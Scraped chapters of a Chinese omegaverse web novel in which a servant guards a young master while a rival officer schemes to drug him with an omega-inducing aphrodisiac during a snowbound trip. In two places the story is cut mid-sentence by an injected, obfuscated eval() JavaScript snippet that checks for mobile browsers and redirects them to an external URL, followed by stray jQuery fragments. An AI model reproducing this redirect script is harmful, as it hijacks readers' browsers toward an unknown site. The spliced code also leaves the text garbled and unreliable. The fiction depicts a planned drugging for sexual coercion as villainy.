第二次搭伙,谢云哲对此人的实力依然信服。
对方不输于老兵气场是其次,苏霆苏洛对他的熟稔才是主要。
也是因此,他要在西奥多面前更加注意。
出游建议是为了给小少爷散心不假,可其中也有他的私心。
时隔多日,他终于得到深入居民区考察的最佳机会。
和在天上的匆匆一瞥
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14240553|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不同,此刻他能直面喧嚣中洋溢的生机,在寒冷晨雾中窥见雪花球内的全貌。
正佯装看风景,他的肩膀突然被人拍了拍。
“年轻人,这个就先借给你们吧。我看你朋友腿脚不利索,要是走个半天,回头脚趾都要断喽。”
说话的是刚才扫雪工里的一人,眼角微皱,嘴唇起皮,大鼻头被冻得通红。
男人饱经风霜的相貌与在外流浪的游民没有不同,可他亲切的笑犹如春风,拂来太阳般的暖意。
而他塞给谢云哲一辆类似雪橇的推车,轻便但看着是要比轮椅平稳。
“喏,拿去吧。要是不用了,看到像这样的暖房就放进去,如果真喜欢,那就拿回家玩吧哈哈!”
扫雪工的笑声与表情一样爽朗,毫无杂质。
谢云哲有些犹豫:“这——”
“哎呀拿去吧!我们正好也结束了,有缘回头见。”
工人又一次热情地拍打他后背,简单地为他解释操作方法,摆摆手便回归队伍。
那群人似乎还在讨论他们这几张新面孔,盘问送装备的成员有没有教会他,免得那位倔犟小先生又撞灯柱。
分明是很寻常的话题,却像被欢声笑语淋了一层糖浆,不仅正在咀嚼的人吃得甜蜜,还让他这旁观者也弯起嘴角,舌尖莫名尝到甘味。
这样的情景,居然不是个例。
每到一处,每遇见一批各不相同的人,他们的舒畅由内而发,热雾般交织扩散。
而那些坐在门前的老人似乎格外喜欢年轻的来客,途径民房不到半小时,谢云哲就被硬塞了三条围巾两双手套、投喂了八次,又差点被请进屋加入晨间茶会。
从主街拐进商铺云集的大广场,谢云哲有感而发。
“这镇子里的居民好热情啊。还是说送食物是他们的风俗吗?”
他本来不寄希望谁会回答,可身旁竟真的响起一道声音。
“那个年龄阶段的人,都是在饥荒中长大的,留下来的全是能挨饿的幸运儿呢。”
推车上,苏洛啃咬着饼干棒,自语般悠悠地说道。
“现在能吃饱了,还是忘不掉吧。”
忘不了深深烙在记忆里的阴影。
是被饿到前胸贴后背时摸出的骨骼形状,是原来友善的亲朋好友为一点吃食大打出手,反目成仇的骇然场景。
“喂你知道吗,他们以前实在没东西吃,又被暴风雪封路,会和别人家互相换小孩或者割对方的肉吃哎。”
仿佛在分享趣事,小少爷说这话时不知在为什么兴奋,眼中亮起恶兽般的光芒。
谢云哲不舒服地躲了一下视线,非常本能。
当他再抬眼去看两侧店铺,逐个观察那一张张气色正常的脸,道不明的情绪哽在喉头。
“首都……大元帅不是每年都会拨款救助吗?”
他质疑的声音更轻也更弱了。
这次是寡言的西奥多为他解惑。
“年年如此,食物总是不够的。而且那些救助款最终都要回流到物资的售卖方,也就是临近辖区。
这笔钱又不足以我们自己引进和改良种植技术,再加上运输时十次里有五次会遭到兵团掠夺,数量完全填补不了窟窿。”
尽管话少,黑衣男人口中却无一字浪费。
为什么苏霆一直以来对首都支援耿耿于怀?
答案就在此。
那些物资与钱款,统统是算计好的。
为了让整个斯卡蒂变得完全依赖与他们,而不是想要将他们庇护,引领他们走上美满幸福的生活。
毕竟光‘全民生活无忧’这一点,首都自己都还做不到呢。
几次张嘴却无法言语,谢云哲抱紧手中的见面礼,只觉的这些东西变得愈发沉重,重得快压断他的腕骨。
一条张灯结彩的长街快走到底,最终打破三人的静默结界的,竟是一连串意想不到的变故。
首先是满脸无趣的小少爷。
原本他抱膝蹲在推车上,懒得动一下,可却毫无征兆地跳下来,拖着瘸腿穿过人群。
紧接着,两名担心他的随从拔腿追去,然后又双双停在街口。
最后,变故的起因和末尾收束了。
尽头的冰雕展区前,头发火红,衣着华贵,犹如一位优雅王子的男人双臂微敞,及时接住向自己奔来的苏洛。
“伊诺克阁下、你你、您怎么会在这!我没认错吧,你不是幻觉吧?”
狂喜的小少爷忘记分寸,直接上手去拍男人微凉的脸颊。
伊诺克不禁莞尔,扶住青年后背帮其站稳,末了手却还搭在对方腰间。
“巡视顺利结束,那么我的任务也告一段落,我让默文上将带队回去顺便帮我请假。哎呀,我总算能留下做我想做的事,见我想见的人喽。”
他语气平添了一份轻快,回答也不是昨天的客套官腔,直接点燃面前幸福到颤栗的小少爷。
作为全基地最给伊诺克面子的人,苏洛不负众望,结巴一阵闭上眼,直接后仰昏了过去。
只不过这次,他没倒在令他神魂颠倒的少校怀里。
谢云哲西奥多两人一左一右插手,默契十足地将他拉回安全线。
收到他们警告的目光,红发男人不恼不怒,很是刻意地举起双手投降。
“啊,好久不见,两位。”
好久不见?
听着做作的问候,谢云哲那根遗留的神经又跳动了一下。
既然这红毛家伙没走,那他昨天的推测只能掰回正轨,顺势补出更完整的定论。
不再代表大元帅,而是以个人身份留住的伊诺克·普莱德,将会不计一切代价把‘苏洛’搞到手。
“好久不见,呵。”谢云哲冷冷应声,一闪即逝的假笑简直是苏霆的翻版。
年轻的他想得也比苏元帅粗暴多了。
果然,就该拿张桌子敲在这阴魂不散的红毛头上!
24.元首的蓝宝石24
桌子上摆放着这片土地所没有的高档食物。
采摘自西部平原的改良蔬果,东部岸线运进内陆的鲜美海味,用在四季如春的中部饲养的牛羊制成的肉排。
所有原料通过当前最新的保鲜技术储存,每隔三天就运往这栋新屋的后厨。
若不是因为当地有严格的禁令,那架首都来的飞舰恐怕会保持每天一趟的频率往返。
一切只为满足一个人的需求——半个月前暂居在费兰镇的伊诺克·普莱德少校。
由他代替父亲,也是大元帅的巡视圆满结束,但他却突然告假,宣称自己被斯卡蒂的风景迷住,想再逗留一段时日。
阔绰如他,直接在本地购入整排区房,带着七十五名护卫悠哉地住下了。
这半个月里,他的所有行为都符合一位度假富豪的表现,日常就是在家中休息和上街闲逛,还有……
“请您放心,那孩子一天至少过问我三次,如果雪停了他绝对会登门拜访,邀请我与他同游。”
餐桌前,伊诺克对着通讯器信誓旦旦道。
“他待人热情,虽说性子有些急也没正经上过学,但该尽的礼数他从未落下过。”
发表完一通中肯的点评,屏幕里的‘总裁判’——他的母亲莫娜·普莱德接话了。
“那么,你更中意的是哪个?”
二人的语调相近,慵懒悠长,如同多情浪子的十指,既能弹奏高雅琴曲,又能游走在他人胴体上取悦。
这对母子的相似不止在声音相貌,还有一脉相承的观念。
可作为红发男人的母亲,莫娜眼光老道,也更加了解自己的孩子。
于是,她又细化了上一问,说道。
“两个‘苏洛’,你现在更中意哪个?”
“母亲,瞧你这话说的。”伊诺克短促地一笑,“苏家就只有一个苏洛啊。”
只扫了他几眼,那鬈发微红,面容姣美的女人就冷哼一声。
“若真是这样,你会拖到现在还不回来?你父亲的身体是越来越不好了,你作为家里唯一有资质继承元帅之位的人,竟然还有闲情赖在荒野,度假玩耍?”
是‘不回来’还是‘没得手’,当下双方的神情足以说明一切。
伊诺克后背立刻挺直,笑容里多了讨好的成分。
“父亲常年偏头疼,天气一降温就更是如此,我也是为了帮他寻得良药配方才留下的啊。您没听说吗,越是穷乡僻壤未开化的地方,就越可能藏着待挖掘的珍奇异宝。”
他说着右手一摆,立刻遣散周围的侍者和士兵。
不出半分钟,偌大餐厅就剩他对着屏幕笑道。
“我只是恰巧同时遇到了一块原石和一颗墨晶,觉得两者都具有收藏价值罢了。”
神色严肃的女人没应声,微微颔首示意伊诺克继续。
既然周围已经清场,后者无需再遮遮掩掩,大方告知近些天的收获。
如预想的那般,他擅自留居后不仅增加了跟苏家尤其是苏洛接触的机会,也能更自由地探查全境。
他发现,虽然北军基地的素质差得一塌糊涂,但墙内居民的生活条件相比以往在报告中提及的,却有了质的飞跃。
当然,离首都还差得远呢。
“他们似乎决定要把精力都放在改善民生上,甚至不再限制跳虫的进出数量,专门给人安排工作岗位,这是好事。”
伊诺克拿刀叉玩弄着盘中剩菜,将它们搅成不能吃又不好看的碎糊状,过后只能被当作垃圾丢掉。
一如他对昂贵食材的态度,他补上轻蔑的后话。
“若不是西边兵团内部出现重大事变,被迫安分了一整年,他们哪来现在的好运气。这头死乞白赖向父亲讨要军资,那头又自视清高地甩脸,把最大的能源开采洞据为己有。”
据为己有也就罢了,这群呆瓜大抵是被冻坏了脑子,竟然占着丰厚的蓝月能源不用,对内也一毛不拔。
‘驻守斯卡蒂山脉,永远不准不让任何人染指并试图深入能源洞’
过去的旧令似乎被一代代愚钝的苏家人曲解并执行。
而到了冰疙瘩苏霆这辈,实现了突飞猛进的变化——他直接禁用。
虽没明文规定,但对方的各种表现都已明示。
“我调查过了,母亲。他们的医院,交通站,电力站这些地方通通没有使用蓝月,虽说第一天在基地有看到,但也没见他们拿去给精兵强化。”
有没有能称得上‘精兵’的人还有待商榷呢。
青年于心中补了最后一句。
事实确认到这步,猜测也顺利成型。
要么是斯卡蒂的能源洞也出了问题,为不引起动荡特而有意隐瞒。
要么是苏霆引导北军,故意伪装成现在的样子以便暗中谋划。
至于他们到底在谋划什么,伊诺克完全没有兴趣判断。
“他们成不了气候的,母亲。生来就在最底端的他们,没有能跟父亲抗衡的力量。”
以此句收尾,他松开餐具,双手放在膝上静候,像个等待表扬的孩子。
而母亲看着他,终于点头缓和了神色。
“嗯,就算这样你也不能掉以轻心,你一个人在那落后低劣的独立区,我成天吃睡不安稳,就怕你出事。”
语带埋怨的关怀开启了对话的新阶段,在伊诺克的宽慰中趋向家常话。
也再次绕回最初。
“所以呢?你现在到底是中意哪一个?”莫娜打趣地笑道,捋了捋发梢。
伊诺克闻声下意识低头,总算表现出一点被大人看穿的忸怩。
十五天里,他几乎日日与那位小少爷相见。
对方美名其曰邀他游玩,他也欣然接受,借此巩固感情。
可以苏霆为代表,那群人还是一样千方百计地阻止他接近,时时刻刻防备着他。
饶是手握苏洛痴迷自己的最大优势,他也难以撬动对方身边一圈保护欲旺盛的顽石。
“你又在回避我的问题,伊诺克。”
母亲再次出声,伊诺克摇着头笑,向屏幕凑近了些。
“那个叫谢云哲的‘影子’侍者,我觉得挺有趣的。”
被抢了家族里的位置,被夺走进入上层的机遇,更是被当成奴仆拴在冒牌货的身边当牛做马,却仍能泰然处之。
并且,总是对他保持着一种奇怪的戒心,更对他的示好无动于衷。
这与他过去遇到的人,或该说各种款式的猎物完全不同。
就像山脉中飘扬的雪片,虽能伸手触及,感受它的沁凉,却永远无法真正抓住它的形体。
“再这样下去绝对会喜欢上的!”
“所以明天你不准对他这样假笑!也不准不理他!”
花房里,苏洛拍桌一指对面,开始他日常的无理取闹。
与他同进同出半个月之久,刚才更是亲自念‘教材’给对方听,谢云哲疲惫而无奈地应道。
“可是,小少爷,您前天才说我主动和少校打招呼是在引诱他,帮他倒茶就是一夜情的爬|床暗号。”
经过读物的千锤百炼,如今谢云哲已能面不改色地说出‘引诱’和‘一夜情’等字眼,用来堵那天天变卦的青年。
苏洛沉默了片刻,继续哼气拍桌。
“那不符合你的人设,你现在是自强不息的清冷小野草,你越委屈越倔犟,像伊诺克那样强大帅气又正义的美男子就越会被你吸引,从而欣赏你,怜爱你,把你当成灵魂伴侣然后……”
从‘小野草’那里开始,谢云哲就在放空思绪。
既是给大脑省电,又是防止自己听得太堵心,忍不住一一反驳。
且不提他委屈野草的形象,那个油腔滑调的伊诺克·普莱德到底哪点符合‘正义强者’的名头了?
确实,在大元帅的默许下,全首都凡是能和他们一家搭边的势力都有意将其次子神化,把人塑造成天资聪颖,实力卓群的继承者。
但无论真假,流言总是比疫病难杀。
就读高等学府但成绩名不副实。
人脉广泛但身边狐朋狗友居多。
看似亲民仁善,实则过惯养尊处优的上流生活,对下位群体无一丝了解和体恤。
以上‘光辉’事迹,连整年游荡的跳虫都能听到,察觉某少校金玉在外败絮其中的真相,更别提离权力阶层最近的苏霆一行。
可如今事情败就败在斯卡蒂缺乏与外界的联通,小少爷也爱得盲目无理。
而这种荒诞感又很微妙的……
“喂,我在认真跟你讲话,你走神想什么?”
一声呼唤打断思考,谢云哲连忙抬眼。
“我没走神,小少爷,我听着呢,您准备明天邀请少校去特莫伊庭院玩。”
谢云哲顿了顿,又委婉追问。
“请问小少爷,特莫伊庭院在哪里?我见识少,竟没有印象。”
所有能买得到的地图和宣传手册里,都没有这样一个奇怪的景点。
“你当然不知道,那是刚建好的山顶别馆,甚至还没正式开张呢,只有我和大哥能随便进,其他人想去都去不了。”
当谈到自己独享而谢云哲没有的东西,苏洛就会嘚瑟地晃晃脑袋,暗戳戳地,不对,应该是明晃晃地显摆起来。
“山顶别馆你知道是什么吗?你有见过吗?”他撑着脸眨眼问。
每逢青年露出这幅居高临下的姿态,谢云哲总会抢先低头,主动避开那道目光里的锋芒。
他理解对方的挑衅源自不安,因此识趣地转换话题。
“没开业人手会很稀缺吧,设施方面说不准也有遗漏,就这样直接过去,岂不是什么都不方便?”
而且在斯卡蒂,山顶别馆一听就很冷,令人联想到连绵起伏的雪峰,完全勾不起期待。
“我说没问题就行,而且伊诺克大人也会一起去啊。”
青年脸颊上浮出两团红晕,看得谢云哲欲言又止。
近期有他、西奥多、管家海勒姆,以及一个季宇飞轮流组队盯梢,这才把所有可趁之机扼杀在摇篮中。
但只要伊诺克在这多呆一天,警戒就无法解除。
思来想去,谢云哲压下心中劝告,也是他翻来覆去说破嘴却收效甚微的谏言。
左右不过是小少爷为摆脱扫兴的家里人,选一个僻静处跟看似与自己两情相悦的准未婚夫共处。
和平时的任性胡闹没差别。
在没乘上那列缆车,穿过一片片云雾之前,谢云哲是如此乐观地预设。
眼见地面逐渐缩小直至消失,风雪愈发强势,他坐不住了。
“小少爷,您为什么不让西奥多跟来,多一个人多份照应也好。”他试探性地问。
苏洛正沿边贴着窗面,漫不经心回道。
“他?他上来只会碍事,只知道听我大哥的命令,整天不准我这不准我那的。”
谢云哲一听语气变得急切:“可万一雪山上遇到什么危险,现在只有我在,您——”
“啰嗦什么,接下去我用不到他了。”
赏景的乌发青年拔高音量,悠悠转头,朝愣住的谢云哲一笑。
“我难道没告诉你吗?今天是约会呢,我的约会,是伊诺克大人为感谢我的回礼请客哦。”
“……”
约会这一语义广泛的词让谢云哲脑袋懵了大半。
等来到峰顶,看见提前抵达的伊诺克·普莱德及其随从,他直接两眼一黑,急火攻心。
这哪是约会,分明是踏入虎口不自知!
矩形别馆立在避风处,它的高墙与缆车亭岗相望,也困着一座深灰色的伟岸建筑。
比起山顶景点,这倒更像一处要塞。
逆着冷风,苏洛等不及地跳出缆车,也被早有准备地红发男人搀扶。
“托小少爷的福,我总算劝动那位老板给我们放行了,好在包下这地方费不了多少钱,他也愿意让我的帮手接管一阵子。”伊诺克冲着人眨眼道,“你想待多久都行。”
一听是包下整座新馆,苏洛受宠若惊,反搭住男人的手。
“这、这样很贵吧,而且还要麻烦你们——”
在家向来大手大脚,从不顾及钱的事,今天到了伊诺克这小少爷就支支吾吾,好像真心疼起对方的财产,与此前的兴奋模样判若两人。
扭捏了一阵,他垂下眼问。
“要是被你家里人知道……他们、大元帅会生气吗?会觉得你坏了规矩吗?”
原来是担心这个。
看穿青年为何忐忑,伊诺克轻按两下对方手背,温声宽慰。
“怎么会生气呢,我姑且还是有一份工资的人,花的都是我靠自己双手挣来的钱。而且为了你,我被训斥几句也不觉得有什么,只要你愿意之后来安慰我的话……”
暧昧情话和一个绅士的吻手礼恰到好处,他又把青年哄得脸如火烧,看着他醉醺醺地傻笑。
反观后方,那名搬轮椅的侍者目光仍旧冷澈,紧盯他与小少爷相握的手,贴近的胳膊。
机警如同夜间狩猎的雪鸮,始终做好迎战入侵者的准备。
对此,伊诺克也笑脸相迎。
“两位早上就开始坐车,一路颠簸下来想必已经很劳累了,我已叫他们备好午餐,打扫过温泉,那事不宜迟……”
说话时,红发男人的视线由苏洛转向谢云哲,礼貌且周到。
“多谢阁下,但我不是很累,我就继续陪同小少爷,侍奉他左右。”
谢云哲语毕,面前一人哀叹,一人瞪眼,双双表示不赞同。
作为本次游玩的邀约方,伊诺克自认有充足的理由说服这半路侍者放弃本职工作。他随行的九十六人包括护卫便是其一。
作为才警告过他别装‘倔强小草’的主人,苏洛满腹恼怒却不好发作,迈出两步扑上前。
他原本应该是想去抓谢云哲的手臂,奈何右腿瘸着在雪中难以发力。
于是乎,他的动作就成了几分钟前和对少校同款的‘扑抱’。
力道不重,热情十足,带着一身厚实绵软的大衣靠来,触感像只大型的毛绒布偶。
而他趴在谢云哲胸口,不满地撅着嘴。
“我今天心情好,给你放假自由活动,要么你现在回去,要么留下陪我玩。这样总行吧?”
谢云哲嘴巴张了又张,终究不敌那亮晶晶的,充满渴求的双目。
何况他也清楚,这是苏洛与某少校双方蓄谋已久的一次共处。尽管其中一方目的纯粹,另一方别有用心。
若他仅凭小小侍者的身份阻挠,只是白费功夫。
还是等进去后在想办法通知苏霆的人吧。
认清现状,谢云哲点头应下,而在别馆中度过三个小时,得知缆车因为强风暴暂时停运后,他的危机感彻底爆发了。
这很不对劲。
回路被封,四周只有人造雪景,馆内还随处可见普莱德家培养的精兵。
这群人形兵器不会理睬伊诺克以外的存在,像一簇簇探照灯伫立,监视着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14304275|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
每个人的一举一动。
想通风报信却没渠道,想托人传令却无从下手,谢云哲焦躁地等到傍晚,终于争取到时间。
伊诺克·普莱德被下属叫走,小少爷玩着纸牌哼歌,他则找借口躲进盥洗室。
因他要贴身照顾小少爷,季宇飞曾交给他一枚戒指形的通讯器。
就算无法发消息,这枚集定位与警报功能于一体的小玩意儿也能让苏霆等人察觉端倪。
毕竟平时小少爷只要出门半小时他们就慌神了,没道理还没动作。
背靠门板,谢云哲眉头紧锁。
为防止误触,戒指他一直藏在内兜,今天拿出来一看,他竟完全找不到特殊的按钮或接口。
按所有可能的猜想又掰又扭,他怔了足足十秒。
难不成,这是假的?
仿佛是命运在坏心眼地捉弄,前期蓄意给出提示,好让遭到整蛊的人表情能更加精彩,以供取笑。
谢云哲强压微乱的呼吸,重整思绪。
缆车是停了,可有新式飞行器的北军绝对能上来,他要做的就是在离开之前保证苏洛和自己的安全。
做好决定青年立即转身,可房门一开,他心顿时又沉几分。
原先离开的红发男人不知何时回来了,手执酒杯慵懒地靠在沙发一侧,深深望着他。
这种情形,某位痴心少爷早该气得跳脚,委屈又嫉妒地憋泪。
随后整个房间都会飞着他丢的物品,砰砰咚咚响个不停。
此刻的安宁,是由他趴在桌上的昏睡换来的。
“看来苏洛少爷是真累坏了,可惜他没先去享受这里的温泉池,据说能与夜城烈菲的疗愈湖相当。”
伊诺克小口呷着酒,每说一个字就见远处的青年眼神更冷一分。
这抹冷光却又映着壁炉里跃动的暖红,绮丽的撞色愈发夺人眼球。
拿开酒,伊诺克不禁舔过唇角,眼神示意身边空位。
“时间还早,你同我坐下聊会儿?”
谢云哲斩钉截铁拒绝:“多谢您邀请,在下不胜惶恐,小少爷身体虚弱,我还是先送他去休息,如果雪停了能回家就再好不过了。”
伊诺克笑得戏谑:“是送他回家,还是送你回家?又或者——你想找一个新的,完全属于你的家。”
这话意有所指,但并未戳中要害,谢云哲保持困惑的表情,一动不动。
见他如此,对方转正身体,将一块串着链条的金属搁在矮桌上。
“难道是我自作多情了,以为不是所有可怜的,只能一生颠簸的跳虫会期待有个归宿,比如谁的身边,再比如……某个小小的箱子。”
‘箱子’一词几乎是明示,谢云哲释放出恰到好处的惊讶,仍旧装傻。
由于年轻且没背景,拥有首领头衔的他最初就注意掩人耳目,对内一直低调行事鲜少留痕,对外一直换用身份,从不让同党透露他的存在。
所以,至今只有一小部分游民知道他的真面目。
“我听说你还有个年幼的弟弟,他是你恩师,也是养父母的遗孤。你俩相依为命,这一路走来很不容易吧。”
闻言谢云哲暗暗松了口气,也确定眼前一脸胜券在握,模样高傲的男人根本没察觉他的来历。
像破开一层‘愚忠侍者’的表壳,他眼神陡然犀利,措辞亦不再客气。
“你想说什么,伊诺克·普莱德。”
话音刚落,谢云哲就后悔了。
因为那红发男人竟像看到一盘新菜式,兴味十足地睁大眼,企图用视线将他剥个精光,拆吃入腹。
此刻再想起小少爷言之凿凿的‘小野草论’,谢云哲只欲扶额叹气。
他不得不承认,苏洛的臆测虽然离谱,但格外准确。
为缓解这一丝尴尬,他出声再问。
“那是什么。”
“某个‘箱’的一部分,来源是三百八十二年前,在一处不明体坠落点提取到的碎片。
唔——我还是直说吧,那就是箱的原型,是真正的空间门,而当时的研究者将它的构造分析图刻入这枚碎片,现在只有军方手上有。”
伊诺克开门见山,也满意于谢云哲眼里流露出的震惊。
果然,比起脑袋空空姿色一般的小少爷,他还是更喜欢冷面心热,卑微却永远不肯真正向人低头的‘小跳虫’。
那让他好奇对方其余的模样,挑起他靠近征服,并将人做成美味盘中餐的欲望。
不幸也幸运的是,苏霆并不重视这个亲生弟弟,一颗被雪山冻傻的脑袋全放在一个花架子上。
也就有了今天他精心准备的‘餐桌’。
“我有所耳闻,自从父亲颁布了整改令后,废弃区、啊抱歉,是流民聚集的暗环区就突然出现许多人打探‘箱’的消息,甚至还给出天价悬赏。”
说到这伊诺克话锋一转,从衣兜里掏出一支拇指长的细瓶。
粉紫色的溶液状如流沙,随着他的晃手动作摇摆,也再度让谢云哲眉脊紧蹙,沉默不语。
他们都认识这物质,也清楚它的作用。
当今时代,一些受蓝月能源改造的人或其后代会渐渐减少腺体作用的次数与时长,甚至直接失效。
这便意味着,人们正在失去原生态繁衍的过程。
换言之,在爱与欲之间润滑的情|趣也缺少了,也很难再看到一个omega会跪伏在地,毫无尊严地乞求爱侣乃至不认识的人标记自己,否则就会煎熬到只欲求死。
电光火石间,谢云哲想通对方用意,藏在身后的手顿时攥紧。
果然,还是发生了。
瞄准‘拿下苏洛’的靶心,将是未来元帅的伊诺克·普莱德不能主动追求也不能回应苏洛太多。
哪怕小少爷甘愿献身,他也要百般推辞,否则就会与苏霆一方撕破脸皮,不好收场。
那么,最合理也阴险的办法就是让‘某一方的献身’变成‘双方都不得已的救难’了。
十八年来从没有发|情|期的小少爷,离家后被风雪所困,突然自己失控。
幸好他爱慕的未婚夫就陪在身边,一切水到渠成,真是一段佳话。
“呵。”谢云哲不禁冷哼,满脸写着拒绝和鄙夷。
岂料红发男人比他想象得更厚脸皮,竟佯装不解,好声好气哄道。
“你放心,我不会用它对付你的。我只是想送给你卖个人情,顺便……”
伊诺克食指按住金属片,又往前推几寸。
“你也不想今天之后,连临时的家都回不去吧?然后就让可怜的弟弟寄人篱下,受苦受难,活得不如别人身上的一只跳蚤。难道连这点你也和苏霆一样?”
话语不怀好意,足够刺痛人心。
但中伤和威胁再强烈,最终都不敌‘诱饵’的浓郁香味。
谢云哲尽量让自己不去看一旁呼呼大睡,成为人质和筹码而不自知的苏洛。
他上下牙死死咬合,眼里只有那枚泛着幽光的金属块。
他不想让人察觉自己的动摇和急迫,可事与愿违,某些该藏的东西就越藏不住。
在他得知那里有原型‘箱’的设计图后,他呼吸就全乱了。
呼吸一乱,五感也拖了后腿。
视野边缘仿佛渗进阴影,将他眸中的世界压缩,变形,慢慢扭曲成一个畸形的锁孔。
现在的他仿佛被困在看不见的箱中,就只看到自己抬腿,迈步,低头。
最终,是他伸手接过那瓶迷情香水的昏暗画面。
25.元首的蓝宝石25
这是有史以来最凶险,也最难抉择的交易。
以背叛一个人的代价去拯救包括自己在内的几万人。
如此描述还有些粗糙,而且仅凭数量级比较,根本做不出判断。
那么,就再详细且全面的展开一遍思考好了。
背叛一个关系浅薄,并不喜爱,目前为止对自己毫无益处可言的人,并且这个‘背叛’的行为,很可能是对方也想要的。
然后,去拯救数万个自己允诺保护,也给予自己信任的跟随者。
其中相当一部分是朋友,是亲眷,是未来无论发生什么都无怨站在自己身边的同伴。
瞧啊,天平两端孰重孰轻,一目了然。
如果还觉得单纯的比较缺乏考量,还可引入最关键的前提条件。
若不背叛,自己和所爱之人就注定会有性命之忧。
若是背叛,起码他能在今昔保住一命,也能用这条命赌一赌自己的运气。
现在,选择题的脉络清晰多了。
而最终结果就是毫无悬念的——
没有结果。
在山顶别馆度过的第一夜,面对一道考题的谢云哲整宿未眠,交上了空白卷。
他从伊诺克·普莱德手中拿来的那瓶迷情香水,实际上是专门针对omega的诱导剂。
少量多次地服用或吸入药剂,得五天才能起效。
而倘若一口气倒光整瓶混进饮食,预计半小时内就能彻底将人‘引爆’。
曾从一批星盗手中解救被灌该药的同胞,谢云哲对那群俘虏的凄惨下场印象深刻。
丧失了人格,失去了理智,整个人被性|欲掌控并驱动,只会撕扯着身上衣物,摆出各种浪|荡的姿势。
意志稍微坚定点的,会用咬手撞墙来制造痛觉对冲,可这方法只会增加身心的折磨,毫无用处。
因为诱导剂一旦起效,除了标记腺体和清洗血液,就只有熬到作用消退这一个办法。
这又是世界更滑稽的一面。
以百年前的传奇香水为范本的研发者,在诱导剂制成后就没想过要再做一份针对的‘解药’。
也许他们是研制了的,但迷|情|药的购买群体又怎会继续购入,还放任解药流通呢?
那岂不是白白浪费他们投入的资金了?
“……然后啊,我直接把蛋糕摁在他脸上了,问他‘那这样是不是就不浪费了啊’,他满脸奶油发呆的样子可蠢了,像个在雪地里迷路然后冻僵的老头,等死了才发现家门口原来就在背后哈哈哈!”
提到浪费,正好苏洛在高声谈论,对着餐桌对面的伊诺克哄笑不止。
爱赖床的他今天起了个大早,没有丝毫被风雪围困的不适,更没对昨晚的昏睡起疑,安心得就像在家一样。
也是,有来自首都的优质侍者伺候,有心上人陪在身边,唯一忌惮的假想情敌还精神不振,无论用餐还是赏景都站在远处,他能不安心么?
午后的游玩时间,为让自己的躲避看起来正常,谢云哲频频向别馆目前的经理搭话。
“请问伯德先生,缆车要等到什么时候才启动?我看今天的风已经变弱了,应该允许通行了吧。”
他的潜意识还想去抓‘回头’的选项,也让他在得到答复后心生烦躁。
“风的确减弱了,只是怕中途会有变数,山上尤其雪山的天气最多变了。但其实这算概率问题,我对我们镇的缆车工程还是很有信心的,就是要顾虑客人的心情。”
蓄着小胡子的男人笑呵呵,一边伸手示意他在冰雕树林中转弯。
“毕竟,我们是生意人,做生意最讲究信誉和收效,而谁能公正地让我们获益更多,我们就自然愿意为他办事。”
将伊诺克·普莱德代入经理形容的对象,谢云哲顿时觉得这段话讽刺极了。
毋庸置疑,那家伙是用名气和金钱收买人心,也让需要这两者为自己未来帮衬的别馆经理睁一只眼闭一只眼,故意停掉缆车。
非常突然的,谢云哲问道。
“伯德先生,请问苏元帅在您看来……怎么样?”
经理揪着右边胡尖,像经过长久的深思熟虑后回答。
“那位吗?是个有才能的年轻人,可斯卡蒂其实从不缺人才。”
答复简短而含糊,完全出乎谢云哲的意料,他一时不知作何感想,默默地别开脸。
这场不温不火的闲聊就此终止。
他们已来到庭园的深处,一阵迷幻的彩光于空间游荡,淌过地板,莹润拱门,在各式各样的冰雕中心折射,散发着只在梦中才能一见的光晕。
这是在模拟极光,却切实地将‘光’从天抓获,存在雪中。
“特莫伊……原来这就是特莫伊庭园?”谢云哲不可置信地喃喃道。
毫无防备地闯进这片绝景,他一度忘了自己棘手的交易和头疼的境遇,不禁看痴了。
与他的忘我相反,前方头发火红的男人兴致索然,可又硬要在苏洛身边装出一副惊艳的样子。
好不容易看到人形冰雕,他眉心微皱,暂无评价。
正中央是一面群像浮雕墙。
手执权杖,腰间佩剑的无脸男子站在一群士兵身前。
他的四周有人跪拜似在诉说,有人手持器具,辛勤劳作,还有成群孩童跟着风筝奔跑,欢笑玩闹。
单看构图分析,无脸男应该是国王、元首之类领导者,可他既没有皇冠华服,也不具备古典画中特有的‘中心光环’——以光影和线条为指引,让观赏者第一眼就能看到他。
纵观全景,压根找不到重点,并且完全不符合‘英雄赞颂像’的设计。
那英雄甚至连‘脸’都还没刻上呢。
察觉伊诺克眼神中的鄙夷,经理连忙走近几步解释。
“让各位看到这个半成品真是不好意思,那位雕刻师因为身体抱恙,工期推迟了一个月,正好最近我们忙着其他工程,索性让他歇着。”
闻言少校恍然地点头。
“原来如此,我刚才还想猜这是参考哪位名家的作品,又或者是某位大人物的图像,幸好我没说出来,否则就出洋相了。”
话说到这,他含笑看向经理。
不是苏霆就是普莱德大元帅,再要么是前几代的领导者,这是伊诺克与谢云哲共有的猜测。
难得有一回他们的内心想法达成一致。
谁知经理摇摇头,自然而然回道。
“没有参考原型,这只是那位雕刻师根据现实而成的即兴创作。”
奇怪的解释令两人双双一愣,也衍变出不同的思想分岔。
如果是根据现实,那为什么‘英雄’没有脸庞?
若是即兴创作,那为何其余人物塑造得如此完整而真实?
两问尚未伸长触角剖析线索,一道清脆的声音就先打断二人。
